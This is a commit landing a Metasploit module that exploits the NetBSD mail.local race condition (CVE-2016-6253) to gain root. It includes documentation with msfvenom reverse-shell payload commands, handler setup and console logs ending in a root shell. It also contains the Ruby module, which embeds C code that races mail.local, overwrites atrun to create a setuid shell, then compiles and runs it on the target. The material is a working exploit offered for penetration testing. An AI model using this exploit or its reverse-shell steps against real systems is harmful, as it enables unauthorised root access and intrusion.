Land #7245, NetBSD mail.local privilege escalation module

bug/bundler_fix
William Webb 2016-09-14 16:07:12 -05:00
commit 01327f0265
No known key found for this signature in database
GPG Key ID: 341763D0308DA650
2 changed files with 533 additions and 0 deletions

View File

@ -0,0 +1,203 @@
## Vulnerable Application
NetBSD 7.0.1 is available from the [official](http://cdn.netbsd.org/pub/NetBSD/NetBSD-7.0.1/images/NetBSD-7.0.1-amd64.iso) site, or on an [unofficial git](https://github.com/h00die/MSF-Testing-Scripts/blob/master/NetBSD-7.0.1-amd64.iso)
## Issues
Getting an initial shell that can write files correctly was difficult. The best I found was reverse_openssl.
Payloads that didn't work:
* cmd/unix/reverse - connected back, but couldn't write file.
```
[*] Started reverse TCP double handler on 172.16.152.1:4444
[*] Writing Payload to /tmp/zrWqhXpL
[*] Max line length is 131073
[*] /usr/bin/printf '\0\377\376\101\102\103\104\177\45\45\15\12' Failed: "\xFF\xF4\xFF\xFD\x06\xFF\xFF\xFEABCD\x7F%%\r\x00\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[*] printf '\0\377\376\101\102\103\104\177\45\45\15\12' Failed: "\xFF\xF4\xFF\xFD\x06\xFF\xFF\xFEABCD\x7F%%\r\x00\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[*] /usr/bin/printf %b '\0\377\376\101\102\103\104\177\45\45\15\12' Failed: "\xFF\xF4\xFF\xFD\x06\xFF\xFF\xFEABCD\x7F%%\r\x00\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[*] printf %b '\0\377\376\101\102\103\104\177\45\45\15\12' Failed: "\xFF\xF4\xFF\xFD\x06\xFF\xFF\xFEABCD\x7F%%\r\x00\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[*] perl -e 'print("\0\377\376\101\102\103\104\177\45\45\15\12")' Failed: "perl: not found\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[*] gawk 'BEGIN {ORS="";print "\x00\xff\xfe\x41\x42\x43\x44\x7f\x25\x25\x0d\x0a"}' </dev/null Failed: "gawk: not found\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[*] echo '00fffe414243447f25250d0a'|xxd -p -r Failed: "xxd: not found\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[*] echo -ne '\x00\xff\xfe\x41\x42\x43\x44\x7f\x25\x25\x0d\x0a' Failed: "-ne \\x00\\xff\\xfe\\x41\\x42\\x43\\x44\\x7f\\x25\\x25\\x0d\\x0a\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[-] Exploit failed: RuntimeError Can't find command on the victim for writing binary data
[*] Exploit completed, but no session was created.
```
* cmd/unix/reverse_awk - `awk: syntax error at source line 1`
* cmd/unix/reverse_bash - `./bsd.payload: 1: Syntax error: Bad fd number`
* cmd/unix/reverse_bash_telnet_ssl - `$ telnet: unknown option -- z`
* cmd/unix/reverse_ssl_double_telnet - `$ telnet: unknown option -- z`
* cmd/unix/reverse_lua - `lua: (command line):1: module 'socket' not found`
* netcat, node, perl, php, python, php, ruby, zsh - all not installed by default
* bsd/* didn't seem to work either, maybe its for freebsd?
Payloads that did work:
* cmd/unix/reverse_openssl
## Verification Steps
1. Start msfconsole
2. Get an initial shell
1. Create working shell, scp it over
```
./msfvenom -p cmd/unix/reverse_openssl lhost=172.16.152.1 -f raw -o /tmp/bsd.payload
scp /tmp/bsd.payload user@172.16.152.128:/tmp/
```
2. Setup msf to handle
```
use exploit/multi/handler
set payload cmd/unix/reverse_openssl
set lhost 172.16.152.1
exploit
```
3. Run the shell from NetBSD
```
$ cd /tmp
$ ls
bsd.payload
$ chmod +x bsd.payload
$ ./bsd.payload
$ WARNING: can't open config file: /etc/openssl/openssl.cnf
depth=0 CN = vgekg
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = vgekg
verify return:1
```
4. Receive the shell and background it
```
[*] Started reverse double SSL handler on 172.16.152.1:4444
[*] Starting the payload handler...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo NwNHAEiJioYIvn4M;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "NwNHAEiJioYIvn4M\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (172.16.152.1:4444 -> 172.16.152.128:65534) at 2016-08-25 19:58:39 -0400
^Z
Background session 1? [y/N] y
```
3. Do: `use exploit/unix/local/netbsd_mail_local`
4. Do: `set payload cmd/unix/reverse_openssl`
5. Do: `set lhost 172.16.152.1`
6. Do: `set verbose true`
7. Do: `set session 1`
8. Do: `exploit`
9. You should get a *root* shell.
## Options
**ATRUNPATH**
File location of atrun, defaults to `/usr/libexec/atrun`
**MAILDIR**
Location of mail folder, defaults to `/var/mail`
**WritableDir**
Location of a writable directory for our payload, defaults to `/tmp`
**ListenerTimeout**
Since this exploit utilized a cron which has a 10min timer, the listener timeout needs to be 10min + padding. Defaults to `603` seconds (10min, 3sec)
## Scenarios
Here is a run against a virgin install of `NetBSD 7.0.1 NetBSD 7.0.1 (GENERIC.201605221355Z) amd64` (from the unofficial link at the top)
In this example, I got lucky and only had to wait ~1min for the cron to hit, which is every 10min by default
1. Get an initial shell
1. Create working shell, scp it over
```
./msfvenom -p cmd/unix/reverse_openssl lhost=172.16.152.1 -f raw -o /tmp/bsd.payload
scp /tmp/bsd.payload user@172.16.152.128:/tmp/
```
2. Setup msf to handle
```
use exploit/multi/handler
set payload cmd/unix/reverse_openssl
set lhost 172.16.152.1
exploit
```
3. Run the shell from NetBSD
```
$ cd /tmp
$ ls
bsd.payload
$ chmod +x bsd.payload
$ ./bsd.payload
$ WARNING: can't open config file: /etc/openssl/openssl.cnf
depth=0 CN = vgekg
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = vgekg
verify return:1
```
4. Receive the shell and background it
```
[*] Started reverse double SSL handler on 172.16.152.1:4444
[*] Starting the payload handler...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo NwNHAEiJioYIvn4M;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "NwNHAEiJioYIvn4M\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (172.16.152.1:4444 -> 172.16.152.128:65534) at 2016-08-25 19:58:39 -0400
^Z
Background session 1? [y/N] y
```
2. Run the exploit
```
msf exploit(netbsd_mail_local) > set payload cmd/unix/reverse_openssl
payload => cmd/unix/reverse_openssl
msf exploit(netbsd_mail_local) > set lhost 172.16.152.1
lhost => 172.16.152.1
msf exploit(netbsd_mail_local) > set verbose true
verbose => true
msf exploit(netbsd_mail_local) > set session 1
session => 1
msf exploit(netbsd_mail_local) > exploit
[*] Started reverse double SSL handler on 172.16.152.1:4444
[*] Writing Payload to /tmp/pjDkvmGg
[*] Max line length is 131073
[*] Writing 176 bytes in 1 chunks of 618 bytes (octal-encoded), using printf
[*] Writing exploit to /tmp/GHIKGOWX.c
[*] Max line length is 131073
[*] Writing 4898 bytes in 1 chunks of 17162 bytes (octal-encoded), using printf
[*] Compiling /tmp/GHIKGOWX.c via gcc
[*] Starting the payload handler...
[*] Executing at 2016-08-25 19:59:04 -0400. May take up to 10min for callback
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo X6C4UIDx4zmwM0DJ;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "X6C4UIDx4zmwM0DJ\n"
[*] Matching...
[*] B is input...
[*] Command shell session 2 opened (172.16.152.1:4444 -> 172.16.152.128:65532) at 2016-08-25 20:00:02 -0400
[*] 2016-08-25 20:00:02 -0400
[*] Remember to run: chown root:wheel /usr/libexec/atrun
[+] Deleted /tmp/pjDkvmGg
[!] This exploit may require manual cleanup of '/tmp/pjDkvmGg' on the target
[!] This exploit may require manual cleanup of '/tmp/GHIKGOWX' on the target
[!] This exploit may require manual cleanup of '/tmp/GHIKGOWX.out' on the target
1633029467
TkBWZEPqsRvYvmwNaTcjImhcSzZHOAtY
true
JUqfyioWthnpvyxRJAZosSGQjnLHqPUB
sHXbQbHqFIbnZGoFWlZoppGprWyKwFCr
nDpSrEmQhDuVSxIpILWCOABbMOIAWUTx
whoami
root
```

View File

@ -0,0 +1,330 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "msf/core"
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'NetBSD mail.local Privilege Escalation',
'Description' => %q{
This module attempts to exploit a race condition in mail.local with SUID bit set on:
NetBSD 7.0 - 7.0.1 (verified on 7.0.1)
NetBSD 6.1 - 6.1.5
NetBSD 6.0 - 6.0.6
Successful exploitation relies on a crontab job with root privilege, which may take up to 10min to execute.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die <mike@stcyrsecurity.com>', # Module
'akat1' # Discovery
],
'DisclosureDate' => 'Jul 07 2016',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'SessionTypes' => %w{shell meterpreter},
'Privileged' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic openssl'
}
},
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => 603 }, #can take 10min for cron to kick
'References' =>
[
[ "URL", "http://akat1.pl/?id=2"],
[ "EDB", "40141"],
[ "CVE", "2016-6253"],
[ "URL", "http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2016-006.txt.asc"]
]
))
register_options([
OptString.new('ATRUNPATH', [true, 'Location of atrun binary', '/usr/libexec/atrun']),
OptString.new('MAILDIR', [true, 'Location of mailboxes', '/var/mail']),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 603])
], self.class)
end
def exploit
# lots of this file's format is based on pkexec.rb
# direct copy of code from exploit-db
main = %q{
// Source: http://akat1.pl/?id=2
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <err.h>
#include <sys/wait.h>
#define ATRUNPATH "/usr/libexec/atrun"
#define MAILDIR "/var/mail"
static int
overwrite_atrun(void)
{
char *script = "#! /bin/sh\n"
"cp /bin/ksh /tmp/ksh\n"
"chmod +s /tmp/ksh\n";
size_t size;
FILE *fh;
int rv = 0;
fh = fopen(ATRUNPATH, "wb");
if (fh == NULL) {
rv = -1;
goto out;
}
size = strlen(script);
if (size != fwrite(script, 1, strlen(script), fh)) {
rv = -1;
goto out;
}
out:
if (fh != NULL && fclose(fh) != 0)
rv = -1;
return rv;
}
static int
copy_file(const char *from, const char *dest, int create)
{
char buf[1024];
FILE *in = NULL, *out = NULL;
size_t size;
int rv = 0, fd;
in = fopen(from, "rb");
if (create == 0)
out = fopen(dest, "wb");
else {
fd = open(dest, O_WRONLY | O_EXCL | O_CREAT, S_IRUSR | S_IWUSR);
if (fd == -1) {
rv = -1;
goto out;
}
out = fdopen(fd, "wb");
}
if (in == NULL || out == NULL) {
rv = -1;
goto out;
}
while ((size = fread(&buf, 1, sizeof(buf), in)) > 0) {
if (fwrite(&buf, 1, size, in) != 0) {
rv = -1;
goto out;
}
}
out:
if (in != NULL && fclose(in) != 0)
rv = -1;
if (out != NULL && fclose(out) != 0)
rv = -1;
return rv;
}
int
main()
{
pid_t pid;
uid_t uid;
struct stat sb;
char *login, *mailbox, *mailbox_backup = NULL, *atrun_backup, *buf;
umask(0077);
login = getlogin();
if (login == NULL)
err(EXIT_FAILURE, "who are you?");
uid = getuid();
asprintf(&mailbox, MAILDIR "/%s", login);
if (mailbox == NULL)
err(EXIT_FAILURE, NULL);
if (access(mailbox, F_OK) != -1) {
/* backup mailbox */
asprintf(&mailbox_backup, "/tmp/%s", login);
if (mailbox_backup == NULL)
err(EXIT_FAILURE, NULL);
}
if (mailbox_backup != NULL) {
fprintf(stderr, "[+] backup mailbox %s to %s\n", mailbox, mailbox_backup);
if (copy_file(mailbox, mailbox_backup, 1))
err(EXIT_FAILURE, "[-] failed");
}
/* backup atrun(1) */
atrun_backup = strdup("/tmp/atrun");
if (atrun_backup == NULL)
err(EXIT_FAILURE, NULL);
fprintf(stderr, "[+] backup atrun(1) %s to %s\n", ATRUNPATH, atrun_backup);
if (copy_file(ATRUNPATH, atrun_backup, 1))
err(EXIT_FAILURE, "[-] failed");
/* win the race */
fprintf(stderr, "[+] try to steal %s file\n", ATRUNPATH);
switch (pid = fork()) {
case -1:
err(EXIT_FAILURE, NULL);
/* NOTREACHED */
case 0:
asprintf(&buf, "echo x | /usr/libexec/mail.local -f xxx %s "
"2> /dev/null", login);
for(;;)
system(buf);
/* NOTREACHED */
default:
umask(0022);
for(;;) {
int fd;
unlink(mailbox);
symlink(ATRUNPATH, mailbox);
sync();
unlink(mailbox);
fd = open(mailbox, O_CREAT, S_IRUSR | S_IWUSR);
close(fd);
sync();
if (lstat(ATRUNPATH, &sb) == 0) {
if (sb.st_uid == uid) {
kill(pid, 9);
fprintf(stderr, "[+] won race!\n");
break;
}
}
}
break;
}
(void)waitpid(pid, NULL, 0);
if (mailbox_backup != NULL) {
/* restore mailbox */
fprintf(stderr, "[+] restore mailbox %s to %s\n", mailbox_backup, mailbox);
if (copy_file(mailbox_backup, mailbox, 0))
err(EXIT_FAILURE, "[-] failed");
if (unlink(mailbox_backup) != 0)
err(EXIT_FAILURE, "[-] failed");
}
/* overwrite atrun */
fprintf(stderr, "[+] overwriting atrun(1)\n");
if (chmod(ATRUNPATH, 0755) != 0)
err(EXIT_FAILURE, NULL);
if (overwrite_atrun())
err(EXIT_FAILURE, NULL);
fprintf(stderr, "[+] waiting for atrun(1) execution...\n");
for(;;sleep(1)) {
if (access("/tmp/ksh", F_OK) != -1)
break;
}
/* restore atrun */
fprintf(stderr, "[+] restore atrun(1) %s to %s\n", atrun_backup, ATRUNPATH);
if (copy_file(atrun_backup, ATRUNPATH, 0))
err(EXIT_FAILURE, "[-] failed");
if (unlink(atrun_backup) != 0)
err(EXIT_FAILURE, "[-] failed");
if (chmod(ATRUNPATH, 0555) != 0)
err(EXIT_FAILURE, NULL);
fprintf(stderr, "[+] done! Don't forget to change atrun(1) "
"ownership.\n");
fprintf(stderr, "Enjoy your shell:\n");
execl("/tmp/ksh", "ksh", NULL);
return 0;
}
}
# patch in our variable maildir and atrunpath
main.gsub!(/#define ATRUNPATH "\/usr\/libexec\/atrun"/,
"#define ATRUNPATH \"#{datastore["ATRUNPATH"]}\"")
main.gsub!(/#define MAILDIR "\/var\/mail"/,
"#define MAILDIR \"#{datastore["MAILDIR"]}\"")
executable_path = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}"
payload_file = "#{rand_text_alpha(8)}"
payload_path = "#{datastore["WritableDir"]}/#{payload_file}"
vprint_status("Writing Payload to #{payload_path}")
# patch in to run our payload as part of ksh
main.gsub!(/execl\("\/tmp\/ksh", "ksh", NULL\);/,
"execl(\"/tmp/ksh\", \"ksh\", \"#{payload_path}\", NULL);")
write_file(payload_path, payload.encoded)
cmd_exec("chmod 555 #{payload_path}")
register_file_for_cleanup(payload_path)
print_status "Writing exploit to #{executable_path}.c"
# clean previous bad attempts to prevent c code from exiting
rm_f executable_path
rm_f '/tmp/atrun'
whoami = cmd_exec('whoami')
rm_f "/tmp/#{whoami}"
write_file("#{executable_path}.c", main)
print_status("Compiling #{executable_path}.c via gcc")
output = cmd_exec("/usr/bin/gcc -o #{executable_path}.out #{executable_path}.c")
output.each_line { |line| vprint_status(line.chomp) }
print_status('Starting the payload handler...')
handler({})
print_status("Executing at #{Time.now}. May take up to 10min for callback")
output = cmd_exec("chmod +x #{executable_path}.out; #{executable_path}.out")
output.each_line { |line| vprint_status(line.chomp) }
# our sleep timer
stime = Time.now.to_f
until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
Rex.sleep(1)
end
print_status("#{Time.now}")
register_file_for_cleanup(executable_path)
register_file_for_cleanup("#{executable_path}.out")
print_status("Remember to run: chown root:wheel #{datastore["ATRUNPATH"]}")
end
end